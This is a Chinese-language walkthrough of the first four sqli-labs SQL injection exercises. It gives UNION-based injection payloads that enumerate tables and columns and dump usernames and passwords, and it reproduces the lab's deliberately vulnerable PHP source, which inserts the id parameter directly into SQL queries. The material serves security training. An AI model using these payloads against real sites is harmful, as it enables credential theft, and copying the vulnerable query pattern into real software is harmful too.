Lession 1
第一关就碰壁,原因是服务器端开启的magic_quotes_gpc,会把’转义成\’,在php.ini中将magic_quotes_gpc设置成Off再重启web服务即可。
通过观察发现,可以遍历id的值来获取用户名和密码
报错类型
判断字段
判断显示位(2,3处为显示位)
使用union语句查询时,必须使前面的语句查询出错(例如id=-1,而id中并没有为-1的),以为当查询出错时,sql语句结果为空,也就会显示我们构造的sql语句所查询的内容,即union之后语句的执行结果。
爆数据库名(将显示位替换成mysql函数)
爆表名(数据库security下的所有表名)
爆列名(表users下的所有列名)
爆出字段值(security.users下所有的账号密码)
源码如下
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
Lession 2
报错信息如下
可以看到报错信息是’ LIMIT 0,1说明后台语句可能查询语句为SELECT * FROM users WHERE id=$id LIMIT 0,1
,对用户的输入没有经过任何处理,直接带入数据库查询。
所以payload如下
爆表名id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"
爆数据id=-1 union select 1,2,group_concat(username,':',password) from security.users
源代码如下
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
Lession 3
报错信息如下
报错信息’1’’) LIMIT 0,1表明开发者可能使用的SQL查询语句为SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1
爆表名id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名、爆数据类似
源代码如下
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
Lession 4
报错信息如下
报错信息”1””) LIMIT 0,1表明开发者可能使用的SQL查询语句为SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1
爆表名id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
爆列名、爆数据类似
源代码如下
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>